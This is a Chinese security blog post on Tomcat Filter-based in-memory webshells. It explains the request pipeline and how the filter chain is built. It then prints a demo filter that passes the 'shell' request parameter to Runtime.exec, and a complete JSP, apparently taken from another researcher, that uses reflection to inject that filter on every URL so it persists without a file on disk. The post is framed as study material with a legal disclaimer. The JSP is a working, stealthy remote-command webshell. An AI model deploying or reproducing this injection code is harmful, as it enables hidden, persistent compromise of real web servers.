内存马第二弹——Filter内存马

2024-07-07 232 0

前置知识

tomcat三大组件

Tomcat 是一个开源的 Java Servlet 容器,当一个 HTTP 请求到达Tomcat以及返回响应时,它会先后经过Listener、Filter、Servlet三大组件。

  • Servlet:处理客户端请求并生成响应,执行核心业务逻辑。

  • Filter:Filter也称之为过滤器,是对Servlet技术的一个强补充。其主要功能是在HttpServletRequest到达 Servlet以及HttpServletResponse到达客户端之前进行拦截,根据需要对其进行检查与修改。主要应用于权限控制、日志记录、性能监控、数据加解密等场景。

  • Listener:监听应用程序中的特定事件并执行相应操作,用于管理应用程序的生命周期和会话状态。例如资源初始化和释放、会话跟踪和统计在线用户数。

请求处理流程

启动阶段:在 Web 应用启动时,ServletContextListener 监听器会被触发执行 contextInitialized 方法,进行初始化资源,例如数据库连接池的创建。
请求到达:请求到达 Tomcat后,Tomcat 将请求传递给与该请求路径匹配的过滤器链。
Filter 链处理:请求首先经过配置在 web.xml 或通过注解定义的过滤器链。每个 Filter 的 doFilter 方法会依次执行,Filter 可以选择继续将请求传递到下一个 Filter 或最终的 Servlet,或者直接生成响应并返回。在处理过程中,Filter 可以修改请求对象(例如添加属性、修改参数)或拦截请求(例如进行权限验证)。
Servlet 处理:经过 Filter 链后,请求到达目标 Servlet。Servlet 根据请求类型调用相应的 doGet、doPost 方法处理请求,生成响应内容。
响应处理:Servlet 处理完请求后,响应会依次经过 Filter 链中的每个 Filter 的 doFilter 方法。Filter 可以修改响应内容(例如添加响应头、压缩响应内容)。
经过所有 Filter 后,响应被传递回客户端。
销毁阶段:当 Web 应用关闭时,ServletContextListener 监听器会被触发执行contextDestroyed 方法,释放资源。
内存马第二弹——Filter内存马插图

Filter

在开始分析Filter内存马之前,我们需要先知道,Filter类中的doFilter方法是如何被执行的。
内存马第二弹——Filter内存马插图1

Demo

先直接创建一个有恶意代码的filter

public class HelloFilter implements Filter{
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("初始加完成");
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("shell"));
        Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
        System.out.println("过滤中。。。");
    }
    @Override
    public void destroy() {
        System.out.println("过滤结束");
    }

在web.xml中添加Filter

<filter>
    <filter-name>hellofilter</filter-name>
    <filter-class>com.example.HelloFilter</filter-class>
</filter>
<filter-mapping>
  <filter-name>hellofilter</filter-name>
  <url-pattern>/hello-servlet</url-pattern>
</filter-mapping>

可以成功弹出计算器
内存马第二弹——Filter内存马插图2

Filter代码执行流程

在filterChain.doFilter(servletRequest,servletResponse)打断点, 这是请求预处理的关键点 。
跟进doFilter,会发现ApplicationFilterChain类的filters属性中包含了自定义的filter信息。
内存马第二弹——Filter内存马插图3
这里的ApplicationFilterChain已经是一个完整的filter链,所以我们往前查找ApplicationFilterChain是如何生成的。
可以看的StandardWrapperValve这个类中,这里已经创建好了Filter链并准备执行doFilter。
FilterChain 接口在 Java Servlet API 中用于封装和管理过滤器链 包含了一系列按照配置顺序排列的过滤器对象。 当前过滤器在完成其逻辑后,通过调用 FilterChain 的 doFilter 方法将请求和响应传递到下一个过滤器或目标 Servlet。
内存马第二弹——Filter内存马插图4
往上翻,跟进到createFilterChain方法,进入ApplicationFilterFactory.java,开始调试。

public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
    // 如果目标 Servlet 为 null,返回 null
    if (servlet == null) {
        return null;
    } else {
        // 定义 filterChain 变量
        ApplicationFilterChain filterChain = null;

        // 如果请求对象是 Request 类型
        if (request instanceof Request) {
            Request req = (Request)request;
            // 如果启用了安全机制,创建新的 ApplicationFilterChain
            if (Globals.IS_SECURITY_ENABLED) {
                filterChain = new ApplicationFilterChain();
            } else {
                // 尝试从请求中获取现有的 filterChain
                filterChain = (ApplicationFilterChain)req.getFilterChain();
                // 如果现有的 filterChain 为 null,则创建新的并设置到请求中
                if (filterChain == null) {
                    filterChain = new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            // 如果请求对象不是 Request 类型,创建新的 ApplicationFilterChain
            filterChain = new ApplicationFilterChain();
        }

        // 设置目标 Servlet
        filterChain.setServlet(servlet);
        // 设置是否支持异步处理
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

        // 获取 Servlet 所属的上下文
        StandardContext context = (StandardContext)wrapper.getParent();
        // 获取上下文中的所有 FilterMap
        FilterMap[] filterMaps = context.findFilterMaps();

        if (filterMaps != null && filterMaps.length != 0) {
            // 获取请求的 DispatcherType
            DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
            // 初始化 requestPath 变量
            String requestPath = null;
            // 尝试从请求属性中获取请求路径
            Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
            if (attribute != null) {
                requestPath = attribute.toString();
            }
            // 获取目标 Servlet 的名称
            String servletName = wrapper.getName();
            // 准备遍历 filterMaps
            FilterMap[] var10 = filterMaps;
            int var11 = filterMaps.length;
            int var12;
            FilterMap filterMap;
            ApplicationFilterConfig filterConfig;

            // 第一轮遍历,根据 URL 匹配过滤器
            for(var12 = 0; var12 < var11; ++var12) {
                filterMap = var10[var12];
                if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
                    filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                    if (filterConfig != null) {
                        filterChain.addFilter(filterConfig);
                    }
                }
            }

            // 第二轮遍历,根据 Servlet 名称匹配过滤器
            var10 = filterMaps;
            var11 = filterMaps.length;
            for(var12 = 0; var12 < var11; ++var12) {
                filterMap = var10[var12];
                if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
                    filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                    if (filterConfig != null) {
                        filterChain.addFilter(filterConfig);
                    }
                }
            }

            // 返回创建的 filterChain
            return filterChain;
        } else {
            // 如果没有 filterMaps,返回空的 filterChain
            return filterChain;
        }
    }
}

(1)首先,实例化一个filterChain,然后获取当前 Servlet 包含在的上下文,从调式信息就可以看到是 StandardContext 对象。
(2)定义一个filterMaps 获取了当前上下文中的过滤器映射。此时的filterMaps就获取到了两个过滤器,一个是自定义的,一个是tomcat自带的过滤器。
(3)跟据filterMaps循环遍历,通过URL 和 Servlet 名称匹配过滤器,并使用 addFilter 方法将filterconfig加到链中。
(4) 返回创建好的 filterChain。
至此filterChain封装完成,返回到StandardWrapperValve#invoke方法中执行filterChain.doFilter(request.getRequest(), response.getResponse());进入当前filterChain的执行阶段。
根据上面的代码,我们的攻击思路就是把恶意的Filter添加进 filterConfigs 里,等它取出来,添加到Filter链中就可以将filter注入到内存中。进入ApplicationFilterConfig查看filterConfigs的构成。
内存马第二弹——Filter内存马插图5
内存马第二弹——Filter内存马插图6

内存马构造

根据上面的分析,构造内存马主要有三个步骤:
(1)获取context,fiterConfig的相关内容都是从context中得到;
(2)创建filter;
(3)将filter ,FilterDefs,FilterMaps添加到FilterConfigs中。
内存马第二弹——Filter内存马插图7
直接从别的师傅那里down的文件

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%


//请求对象 request 中获取 ServletContext 对象。
    ServletContext servletContext = request.getServletContext();
//ApplicationContextFacade 是 Spring 框架中的一个类,用于封装 Spring 的 Web 应用程序上下文。
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
//通过反射获取上下文
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);


// context 字段,即 Spring 的应用程序上下文对象。通过反射获取到该字段的值,它被强制转换为 ApplicationContext 类型
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
//从 ApplicationContext 类中获取一个名为 "context" 的私有字段。这个字段存储了实际的 Spring 应用程序上下文对象
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    //类型转换standardContext,标准的web应用程序上下文
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


    //创建filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    String filterName = "Filter";
    if (hashMap.get(filterName)==null){
        //构造filter对象
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                System.out.println("filter初始化");
            }
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                servletRequest.setCharacterEncoding("utf-8");
                servletResponse.setCharacterEncoding("utf-8");
                servletResponse.setContentType("text/html;charset=UTF-8");
                filterChain.doFilter(servletRequest,servletResponse);
                System.out.println(servletRequest.getParameter("shell"));
                Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
                System.out.println("执行过滤");
            }
            @Override
            public void destroy() {
            }
        };
        //构造filterDef对象
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        //将过滤器的配置信息添加到应用程序上下文中
        standardContext.addFilterDef(filterDef);


        //构造filterMap对象
        FilterMap filterMap = new FilterMap();
        //添加映射的路由为所有请求
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        //将上述设置好的过滤器映射对象添加到 StandardContext 中,并将其插入到已有的过滤器映射之前
        standardContext.addFilterMapBefore(filterMap);


        //构造filterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


        //将filterConfig添加到filterConfigs中,即可完成注入
        hashMap.put(filterName,applicationFilterConfig);
        response.getWriter().println("注入完成");
    }
%>

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

电力企业 | 安全建设框架
HTB-Infiltrator:一文带你走进域渗透
JAVA安全 | Classloader:理解与利用一篇就够了
多角度揭秘威胁行为组织CryptoCore复杂的加密货币欺诈活动
网络空间的“边水往事”?针对华语黑产及用户进行攻击的 APT-K-UN3 活动分析
伪装“黑神话悟空修改器”传播木马的活动分析

发布评论